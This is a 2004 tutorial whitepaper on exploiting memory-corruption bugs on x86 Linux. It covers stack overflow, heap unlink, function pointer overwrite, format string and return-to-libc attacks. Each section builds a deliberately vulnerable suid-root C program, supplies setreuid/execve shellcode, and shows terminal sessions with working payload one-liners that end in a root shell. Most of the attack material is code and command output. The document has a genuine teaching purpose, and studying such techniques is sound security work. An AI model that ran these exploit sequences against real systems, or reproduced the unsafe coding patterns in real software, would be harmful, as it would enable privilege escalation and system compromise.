Covert Systems Research

"Analysis of the Exploitation Processes"

Steven Hill
aka: SolarIce
www.covertsystems.org
steve@covertsystems.org

Table of Contents:

I. Forward
II. Types of Vulnerabilities
a: Stack overwrite
b: Heap overwrite
c: Function pointer overwrite
d: Format string
III. Exploitation Methods
a: Stack exploitation
b: Heap exploitation
c: Function pointer exploitation
d: Format string exploitation
e: Return-to-libc exploitation
IV. Summary
V. References

[I] Forward:

In this document, I aim to clear the mystique surrounding the processes for exploiting certain vulnerabilities, of which blackhats use in order to gain either horizontal or vertical escalation of priviliges. This document shall not be in anyway complete, but rather a step for those seeking to gain a better understanding of how these exploitation processes are used to achieve those goals.

It is assumed that the reader has a basic understanding of C, ASM, GDB, and of shellcoding principals together with memory layout for use with x86 Linux.

For the purposes of this document, we shall explore the world of commandline exploit sequences. This should give a better understanding of exploitation methods in the sense that surgical commands are issued, and we are not just relying on ready made exploits that does the job for you.

However, by having a better understanding of how the exploitation sequences work, a reasonable coder should be in a better position to create working exploit codes.

This is version 1.0 of this document, any future versions shall be released at www.covertsystems.org

[II] Types of Vulnerabilities:

a: Stack overwrite

Stack overwrite, also known by most as the buffer overflow. This would have to be the most widely understood vulnerability, yet for the purpose of this document, I shall included it in order to keep this document reasonably complete.

The purpose of the stack overwrite is to overflow a buffer far enough so that the EIP "instruction pointer" register located on the stack is over-written with the address of your supplied arbitrary shellcode.

When a called function returns, the address located in the EIP register is then executed, thus executing your shellcode with the privilages of the process. If a vulnerable process has the privilages of suid/sgid root, this could lead to a devastating compromise of a system.

b: Heap overwrite

Heap overwrite is another vulnerability which is very similar to the stack overwrite. However, instead of overwriting the EIP on the stack, the overwrite occurs by overwriting areas that have been allocated by the process such as via a call to malloc().

Overflowing a buffer that has been dynamically allocated, data can flow into the next contigious allocated section on the heap. This allows a person to modify the contents of those sections to their hearts content.

c: Function pointer overwrite

.bss section

A function pointer overwrite is useful when we have access to the pointer itself. If this is the case, we attempt to overwrite the pointer by overflowing a static buffer just enough to write our preferred shellcode address over it.

When the process calls the function pointer later during its execution of the code, our newly supplied function pointer address shall be executed instead which most likely is a call to a setreuid shell.

d: Format string

Format string vulnerabilities are a blessing to exploit coders, in the fact that almost any address can be overwritten with a supplied address. Format bugs occur due to inaccurate use of function requirements, such as

not specifying the format specifier in functions like: printf, snprintf etc.

Without these format specifiers, a user can supply them as a parameter to
the functions thereby calling stack frames directly off the stack.

Using this method, a user would look for input that they had entered and
upon finding it, they would have access to a user-space region of memory.
All that is required is the offset to that user-space, an address to
overwrite and an address with which to supply,... in most cases a shellcode
address.

[III] Exploitation Methods:

a: Stack exploitation

Sample vulnerable process.

```
[steve@covertsystems research]# cat > vuln.c << EOF
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv) {

  char buffer[1024];

  if(argc > 1)
    strcpy(buffer, argv[1]);

  return EXIT_SUCCESS;
}
EOF
[steve@covertsystems research]# sudo gcc vuln.c -o vuln
[steve@covertsystems research]# sudo chown root.root vuln
[steve@covertsystems research]# sudo chmod 4755 vuln
[steve@covertsystems research]# ls -l vuln
-rwsr-xr-x    1 root     root        11551 Mar 20 18:30 vuln
[steve@covertsystems research]#
```

Having compiled our sample vulnerable program together with the appropriate
privilages, we would naturally also need code that can be executed within the
vulnerable process itself, thus shellcode is needed. Most people simply start
with shellcode that calls a setreuid(0, 0) shell and in alot of cases this
is quite sufficiant.

The following code provides a small 33 byte shellcode that produces a shell.

```
#include <stdio.h>
#include <stdlib.h>

char shell[] =
  //setreuid(0, 0);
  "\x31\xc0"              //     xorl   %eax, %eax
  "\x31\xdb"              //     xorl   %ebx,%ebx
  "\xb0\x46"              //     movb   $0x46,%al
  "\xcd\x80"              //     int    $0x80
```

```
  //execve(argv[0], &argv[0], NULL);
  "\x31\xc0"              //     xorl   %eax,%eax
  "\x31\xd2"              //     xorl   %edx,%edx
  "\x52"                  //     pushl  %edx
  "\x68\x2f\x2f\x73\x68"  //     pushl  $0x68732f2f
  "\x68\x2f\x62\x69\x6e"  //     pushl  $0x6e69622f
  "\x89\xe3"              //     movl   %esp,%ebx
  "\x52"                  //     pushl  %edx
  "\x53"                  //     pushl  %ebx
  "\x89\xe1"              //     movl   %esp,%ecx
  "\xb0\x0b"              //     movb   $0xb,%al
  "\xcd\x80"              //     int    $0x80
;
int main(void)  {

  FILE *fp;
  int x;

  fp = fopen("tinyshell", "wb");
  for(x = 0; x < strlen(shell); x++)
    fprintf(fp, "%c", shell[x]);
  printf("Bytes: %d\n", strlen(shell));
  fclose(fp);
  return EXIT_SUCCESS;
}

[steve@covertsystems research]$ gcc shell2string.c
[steve@covertsystems research]$ ./a.out
Bytes: 33
[steve@covertsystems research]$ xxd -g1 tinyshell
0000000: 31 c0 31 db b0 46 cd 80 31 c0 31 d2 52 68 2f 2f  1.1..F..1.1.Rh//
0000010: 73 68 68 2f 62 69 6e 89 e3 52 53 89 e1 b0 0b cd  shh/bin..RS.....
0000020: 80
[steve@covertsystems research]$
```

Now that we have a shellcode sequence as a string, we need to place the string were it can be of use to us. The obvious place for placing this shellcode is in an enviroment variable, of which we can get the address to it quite easily using a small commandline piece of code.

However, we first need to place this string into the enviroment.

```
[steve@covertsystems research]$ export CODE=‘cat tinyshell‘
[steve@covertsystems research]$ echo ’main(){printf("%p\n",getenv("CODE"));}’ >
code.c ; gcc code.c -o code ; ./code ; rm -rf code*
0xbffffb6b
steve@covertsystems research]$
```

We now have the shellcode/string placed into the enviroment where we have access to it via the address: 0xbffffb6b ... This will be the address we wish to overwrite the EIP on the stack with, and as you can see, when that address is executed, the shellcode is executed too.

First we need to place the address in the appropriate spot on the stack and in order to do this, we need to calculate the position required. To do this we need to determine the offset from the start of the buffer.

Our sample program has a buffer of 1024 bytes in length, so we calculate 1024 + 8 bytes padding + 4 EBP = 1036 ... This offset will put the next address that we write from 1036 to 1040 bytes. Thus overflowing the EIP!

```
[steve@covertsystems research]$ export RET=‘perl -e ’{print "A" x 1036;}’‘
‘printf "\x6b\xfb\xff\xbf";‘
[steve@covertsystems research]$ ./vuln $RET
sh-2.05b# id
uid=0(root) gid=500(steve) groups=500(steve)
sh-2.05b# exit
```

We now have a root shell at our disposal. One thing to take note of is that the name ./vuln must be the same length in characters as the CODE enviroment variable. For the length of the vulnerable process can place the shellcode address slightly off by a few bytes. However once you become aware of this you should not have any problems.

b: Heap exploitation

Sample vulnerable process.

```
[steve@covertsystems research]$ cat > vuln.c << EOF
#define LEN 256

int main(int argc, char **argv) {

  char *buf1 = (char *)malloc(LEN);
  char *buf2 = (char *)malloc(LEN);

  strcpy(buf1, argv[1]);
  free(buf1);
  free(buf2);
}
EOF
[steve@covertsystems research]$ sudo gcc vuln.c -o vuln
[steve@covertsystems research]$ sudo chown root.root ./vuln
[steve@covertsystems research]$ sudo chmod 4755 ./vuln
[steve@covertsystems research]$ ls -l ./vuln
-rwsr-xr-x    1 root     root        11670 Mar  9 00:22 ./vuln
[steve@covertsystems research]$
```

What we are looking at here in particular is a double free() vulnerability that occurs upon the heap. This vulnerability can take alittle time to understand but the reward is that you should get a much better understanding of heap overflows.

We shall be using the code from the previous section to generate our shell2string.c shellcode.

```
[steve@covertsystems research]$ gcc shell2string.c
[steve@covertsystems research]$ ./a.out
Bytes: 33
[steve@covertsystems research]$ xxd -g1 tinyshell
0000000: 31 c0 31 db b0 46 cd 80 31 c0 31 d2 52 68 2f 2f  1.1..F..1.1.Rh//
0000010: 73 68 68 2f 62 69 6e 89 e3 52 53 89 e1 b0 0b cd  shh/bin..RS.....
0000020: 80
[steve@covertsystems research]$
```

Now that we have initialized our exploit with a basic requirement, we need to better understand what we are trying to achieve. For this reason, I shall briefly explain our goals.

Layout of memory on the heap allocated by malloc();

```
|         data         |prev_inuse|prev_size| size  |  fd   |  bk   | junk

^---------256----------^----1-----^----4----^---4---^---4---^---4---^-----
         bytes            1 bit      bytes     bytes   bytes   bytes
```

When malloc() is called, the memory is allocated similar to this on the heap. Except with our sample process, we have called malloc twice and by doing so, we must imagine that the junk part of the design is another allocated region of memory.

However, what we are interested in is that data can flow over the boundaries into sections reserved for keeping track of malloc() allocations. By supplying certain values, we can thereby trick the second free() into executing our shellcode.

Though first we need to determine some vital information. Which being the address of the free() function in the dynamic relocation entry. This can be attained via:

```
[steve@covertsystems research]$ objdump -R ./vuln | grep free
080495a8 R_386_JUMP_SLOT   free
[steve@covertsystems research]$
```

With this address, we must deduct 12 bytes from it to compensate that 12 bytes are added later on during the exploitation process.

```
[steve@covertsystems research]$ pcalc 0xa8-0xc
        156             0x9c            0y10011100
[steve@covertsystems research]$
```

After gaining this information we will need to export our tinyshell up into an enviroment variable, however we need to set a jmp code at the beginning of our shellcode. This is because during the unlink() call used by the free() process, the first few bytes are mangled.

If this were to happen to our actual shellcode, we would not have a functioning shellcode with which to produce a shell from. Thus we can jump over the first few bytes (in our case 15) using this jmp opcode.

```
[steve@covertsystems research]$ export CODE=‘printf "\xeb\x0e"‘AAAAAAAAAAAAAAA
‘cat tinyshell‘
[steve@covertsystems research]$ echo ’main(){printf("%p\n",getenv("CODE"));}’ >
code.c ; gcc code.c -o code ; ./code ; rm -rf code*
0xbffffb6b
```

We are almost done now, except that we must supply a PREV_INUSE bit set to off. To do this we can select a number that has the first bit of a little endian ordered system set to off... which can be any number with lowest bit off.

In our case we shall use: 0xfffffff8

Lastly, we will need to set up a negative number with which to set the prev_size & size fields of the memory allocation, and thankfully we can use the same number as we used for the PREV_INUSE bit. Now we have all of the ingrediants to complete this sequence.

```
[steve@covertsystems research]$ ./vuln ‘perl -e ’printf "A"x252 .
"\xf8\xff\xff\xff" . "\xf8\xff\xff\xff" . "\xf8\xff\xff\xff" .
"\x9c\x95\x04\x08" . "\x6b\xfb\xff\xbf"’;‘
sh-2.05b# id
uid=0(root) gid=500(steve) groups=500(steve)
sh-2.05b# exit
exit
[steve@covertsystems research]$
```

Hopefully, this process is not as daunting as it seems. With alittle practice this exploit can be achieved quickly and effectively. All that matters is that we must fill a buffer upto -4 bytes from the end, and place our PREV_INUSE number there, then place two negative numbers, our address for free() - 0x0c and lastly our shellcode address.

c: Function pointer exploitation

.bss section

Sample vulnerable process.

```
[steve@covertsystems research]$ cat > vuln.c << EOF
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define LEN 256

void output(char *);

int main(int argc, char **argv) {

  static char buffer[LEN];
  static void (*func) (char *);

  func = output;
  strcpy(buffer, argv[1]);
  func(buffer);

  return EXIT_SUCCESS;
}

void output(char *string) {

  fprintf(stdout, "%s", string);
}
EOF
[steve@covertsystems research]$ sudo gcc vuln.c -o vuln
[steve@covertsystems research]$ sudo chown root.root ./vuln
[steve@covertsystems research]$ sudo chmod 4755 ./vuln
[steve@covertsystems research]$ ls -l ./vuln
-rwsr-xr-x    1 root     root        11670 Mar  9 00:22 ./vuln
[steve@covertsystems research]$
```

When we are dealing with the heap, the heap grows upwards. Thus from taking alook at this process, we can see that if we supply 256 bytes of junk data then supply an address ie: shellcode address, we can overwrite the func() pointer.

However, overwriting the function pointer is not enough, unless the process uses that function pointer at a later date during the execution. As we can see func() is called after the overflow, which means that we can indeed exploit this process.

The command sequence for exploitation of this processes is fairly simple.

```
[steve@covertsystems research]$ gcc shell2string.c
[steve@covertsystems research]$ ./a.out
Bytes: 33
[steve@covertsystems research]$ xxd -g1 tinyshell
0000000: 31 c0 31 db b0 46 cd 80 31 c0 31 d2 52 68 2f 2f  1.1..F..1.1.Rh//
0000010: 73 68 68 2f 62 69 6e 89 e3 52 53 89 e1 b0 0b cd  shh/bin..RS.....
0000020: 80
[steve@covertsystems research]$ export CODE=‘cat tinyshell‘
[steve@covertsystems research]$ echo ’main(){printf("%p\n",getenv("CODE"));}’ >
code.c ; gcc code.c -o code ; ./code ; rm -rf code*
0xbffffb6b
[steve@covertsystems research]$ ./vuln ‘perl -e ’print "A"x256 . "\x6b\xfb\xff\xbf"’‘
sh-2.05b$ id
uid=0(root) gid=500(steve) groups=500(steve)
sh-2.05b$ exit
exit
[steve@covertsystems research]$
```

As you can see, this is a fairly straightforward exploit sequence.

d: Format string exploitation

Sample vulnerable process.

```
[steve@covertsystems research]$ cat > vuln.c << EOF
#include <stdio.h>

int main(int argc, char **argv) {

  char buffer[256];

  snprintf(buffer, sizeof(buffer), "%s", argv[1]);
  fprintf(stdout, buffer);
}
EOF
[steve@covertsystems research]$ sudo gcc vuln.c -o vuln
[steve@covertsystems research]$ sudo chown root.root ./vuln
[steve@covertsystems research]$ sudo chmod 4755 ./vuln
[steve@covertsystems research]$ ls -l ./vuln
-rwsr-xr-x    1 root     root        11670 Mar  9 00:22 ./vuln
[steve@covertsystems research]$
```

Format string exploitation is not as hard as it seems, a good binary / hex calculator such as: pcalc is an extremely useful tool for getting the right values to be used in the creation of the format string.

As is normal for commandline exploit sequences we must supply a working shellcode up in an enviroment variable.

```
[steve@covertsystems research]$ gcc shell2string.c
```

```
[steve@covertsystems research]$ ./a.out
Bytes: 33
[steve@covertsystems research]$ xxd -g1 tinyshell
0000000: 31 c0 31 db b0 46 cd 80 31 c0 31 d2 52 68 2f 2f  1.1..F..1.1.Rh//
0000010: 73 68 68 2f 62 69 6e 89 e3 52 53 89 e1 b0 0b cd  shh/bin..RS.....
0000020: 80
[steve@covertsystems research]$ export CODE=‘cat tinyshell‘
[steve@covertsystems research]$ echo ’main(){printf("%p\n",getenv("CODE"));}’ >
code.c ; gcc code.c -o code ; ./code ; rm -rf code*
0xbfffff4a
[steve@covertsystems research]$
```

The first thing we need to determine is the offset to a user-space region on the stack. This is an area that we can control and is vital to the success of the format string exploitation.

There are two methods to determine this offset.

The first method is to supply a range of %x or %p specifiers to pop from the stack until our user supplied data is returned such as:

```
[steve@covertsystems research]$ ./vuln AAAA%p%p%p%p%p%p%p
AAAA0x80484b40xbffffa9e0x414141410x702570250x702570250x702570250x7025
[steve@covertsystems research]$
```

As we can see our string of A’s (0x41414141) is at offset 3

The second method is to use the placement specifier $ which is done as follows:

```
[steve@covertsystems research]$ ./vuln AAAA%1\$p
AAAA0x80484b4[steve@covertsystems research]$ ./vuln AAAA%2\$p
AAAA0xbffffaa8[steve@covertsystems research]$ ./vuln AAAA%3\$p
AAAA0x41414141[steve@covertsystems research]$
```

This placement specifier is escaped with the \ for reasons of the command line usage, however as you can see the number supplied for each occurance returns whatever is at that offset. And we see that at the third placement we have returned our string of A’s.

For the purpose of exploitation, we need an address to overwrite with the shellcode address. This is where the DTOR_END address of the vulnerable process comes in handy, we can use this address because it is called when the program exits.

```
[steve@covertsystems research]$ readelf -a ./vuln | grep DTOR_END
    69: 0804959c     0 OBJECT  LOCAL  DEFAULT   19 __DTOR_END__
[steve@covertsystems research]$
```

We now have two important addresses at our disposal plus our offset, however we need to set these addresses up as a format string. In order to do this we must take note that we shall be writing the DTOR_END address first in two parts.

We shall write to the lowest half of the address first, then to the highest half of the address after that. Imagine the following:

```
0x0804959c    <---= lowest

0x0804959c+2
0x0804959e    <---= highest
```

Which means, that the beginning of our format string shall look like this.

"\x9c\x95\x04\x08\x9e\x95\x04\x08"

However we need to write to those addresses and this is where the printf format specifier %hn comes into play, which is the (short write). We shall write to those addresses in two parts using the following principles.

```
[steve@covertsystems research]$ printf "\x9c\x95\x04\x08\x9e\x95\x04\x08" > fmt
[steve@covertsystems research]$ pcalc 0xff4a
        65354           0xff4a          0y1111111101001010
[steve@covertsystems research]$ pcalc 0xff4a-8
        65346           0xff42          0y1111111101000010
[steve@covertsystems research]$ pcalc 0x1bfff-0xff4a
        49333           0xc0b5          0y1100000010110101
[steve@covertsystems research]$ echo -n "%.65346u%3\$hn" >> fmt
[steve@covertsystems research]$ echo -n "%.49333u%4\$hn" >> fmt
[steve@covertsystems research]$ ./vuln ‘cat fmt‘
<snip>
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000sh-2.05b$ id
uid=0(root) gid=500(steve) groups=500(steve)
sh-2.05b$ exit
exit
[steve@covertsystems research]$
```

The thing to remember with this sequence is that we are subtracting 8 from the lowest half of the shellcode address, due to the reason that the %hn will write 65346 zeros, plus the 8 bytes already written as part of the format string ... "\x9c\x95\x04\x08\x9e\x95\x04\x08" which gives a total write of: 65354 bytes

This will write half of the shellcode address: 0xff4a to 0x804959c

The next half address will be written to 0x804959e which shall complete the shellcode address overwrite over of the DTOR_END address. The one thing we did was round the shellcode address to: 0x1bfff which when 0xff4a is subtracted from, will return a value that we can use to create a full address of: 0xbffff4a

e: Return-to-libc exploitation

Sample vulnerable process.

```
[steve@covertsystems research]$ cat > vuln.c << EOF
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define MAX 768

int vector(char *buffer, char *ptr)  {

  strcpy(buffer, ptr);
  return EXIT_SUCCESS;
```

```
}

int main(int argc, char **argv)  {

  char pattern[MAX];

  vector(pattern, argv[1]);
  fprintf(stdout, "Pattern: %s\n", pattern);

  return EXIT_SUCCESS;
}
EOF
[steve@covertsystems research]$ sudo gcc vuln.c -o vuln
[steve@covertsystems research]$ sudo chown root.root ./vuln
[steve@covertsystems research]$ sudo chmod 4755 ./vuln
[steve@covertsystems research]$ ls -l ./vuln
-rwsr-xr-x    1 root     root        11670 Mar  9 00:22 ./vuln
[steve@covertsystems research]$
```

Return-to-libc exploitation is a reasonably new concept and can be very useful in getting around non-executable stacks. However, for the purposes outlined in this paper we shall be using a far simplier method as a demonstration of return-to-libc.

Our aim will be to copy the shellcode address using the libc function strcpy(), to the .data section of the vulnerable process, by doing so we manage to get our shellcode to execute and provide us hopefully with a suid shell.

```
[steve@covertsystems research]$ gcc shell2string.c
[steve@covertsystems research]$ ./a.out
Bytes: 33
[steve@covertsystems research]$ xxd -g1 tinyshell
0000000: 31 c0 31 db b0 46 cd 80 31 c0 31 d2 52 68 2f 2f  1.1..F..1.1.Rh//
0000010: 73 68 68 2f 62 69 6e 89 e3 52 53 89 e1 b0 0b cd  shh/bin..RS.....
0000020: 80
[steve@covertsystems research]$ export CODE=‘cat tinyshell‘
[steve@covertsystems research]$ echo ’main(){printf("%p\n",getenv("CODE"));}’ >
code.c ; gcc code.c -o code ; ./code ; rm -rf code*
0xbffffff4a
[steve@covertsystems research]$
```

Our next step is to get the .plt entry for strcpy() from the vulnerable process, and this can be achieved with the following command:

```
[steve@covertsystems research]$ readelf -a ./vuln | grep strcpy
080495b0  00000607 R_386_JUMP_SLOT   080482c4   strcpy
     6: 080482c4    48 FUNC    GLOBAL DEFAULT  UND strcpy@GLIBC_2.0 (2)
   110: 080482c4    48 FUNC    GLOBAL DEFAULT  UND strcpy@@GLIBC_2.0
[steve@covertsystems research]$
```

We can see here that the .plt entry for strcpy() is: 0x080482c4
The other address we need is the .data section address from within the process and this can be achieved with a similar command.

```
[steve@covertsystems research]$ readelf -a ./vuln | grep .data
  [14] .rodata           PROGBITS        08048498 000498 000015 00   A  0   0  4
  [16] .data             PROGBITS        080494b4 0004b4 00000c 00  WA  0   0  4
   02     .interp .note.ABI-tag .hash .dynsym .dynstr .gnu.version .gnu.version_
r .rel.dyn .rel.plt .init .plt .text .fini .rodata .eh_frame
   03     .data .dynamic .ctors .dtors .jcr .got .bss
```

```
    99: 080494b4     0 NOTYPE  WEAK   DEFAULT   16 data_start
   101: 080495b8     0 NOTYPE  GLOBAL DEFAULT  ABS _edata
   106: 080494b4     0 NOTYPE  GLOBAL DEFAULT   16 __data_start
[steve@covertsystems research]$
```

The required address: 0x080494b4

We now have all the required data to exploit this using a return-to-libc call.

```
[steve@covertsystems research]$ ./vuln ‘perl -e ’printf "A"x768 .
"\xc4\x82\x04\x08BBBB\xb4\x94\x04\x08\x4a\xff\xff\xbf"’‘
Pattern: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÄ BBBB??J???
sh-2.05b$ id
uid=0(root) gid=500(steve) groups=500(steve)
sh-2.05b$ exit
exit
[steve@covertsystems research]$
```

There are ways we can use the return-to-libc method to provide us with a suid shell without the use of shellcode, though that method requires the use of several system calls chained together which is a challenge in itself, but can be achieved quite reasonably.

This demonstration is mild, and there are other examples that may provide a better understanding of return-to-libc exploitation. Try to rememeber the layout of memory regarding **argv ... As the bases of return-to-libc is to follow the convention of that principal.

Example:

```
|     buffer     |    padding   |   ebp   |   eip   |  argv[0]  |  argv[1]  |...

                                          | system()|   JUNK    |  ENV ptr  |
```

ENV ptr would be a pointer to a string such as:

```
[steve@covertsystems research]$ export SH="/bin/sh"
[steve@covertsystems research]$ echo ’main(){printf("%p\n",getenv("SH"));}’ >
code.c ; gcc code.c -o code ; ./code ; rm -rf code*
0xbfffff4a
[steve@covertsystems research]$
```

From this quick illustration you would be provided with a shell, though it would not provide a suid shell without more advanced chaining of system calls. Though hopefully I have given you some food for thought.

IV. Summary

From this whitepaper, I have attempted to describe a few of the more common types of vulnerabilities together with a more commandline sequence approach for exploitation. The aim of this paper is to not get bogged down in the details of exploitation, but rather to be more of a guide to help get an overall picture.

Exploit research and development is a highly interesting area of research, and hopefully I have given the reader some food for thought, and an interest to delve even deeper into the subject.

The various sections relating to the different type of vulnerabilities are very basic to say the least. Over time and with persistance, I assure you that you could find many other ways to exploit the vulnerabilities, and this is why exploit research can be so rewarding.

Good luck and Happy Hacking!

SolarIce (c) 2004

V. References

Articles:

Smashing The Stack For Fun And Profit
http://www.phrack.org/phrack/49/P49-14

Advances in format string exploitation
http://www.phrack.org/phrack/59/p59-0x07.txt

w00w00 heap exploitation
http://www.w00w00.org/files/articles/heaptut.txt

Vudo malloc tricks
http://www.phrack.org/phrack/57/p57-0x08

Once upon a free()
http://www.phrack.org/phrack/57/p57-0x09

Advanced return-into-lib(c) exploits
http://www.phrack.org/phrack/58/p58-0x04

Bypassing StackGuard and StackShield
http://www.phrack.org/phrack/56/p56-0x05

Stack & Format vulnerabilities
http://www.core-sec.com/examples/core_format_strings.pdf
http://www.core-sec.com/examples/core_vulnerabilities.pdf

Tools:

pcalc
http://www.ibiblio.org/pub/Linux/apps/math/calc/pcalc-000.tar.gz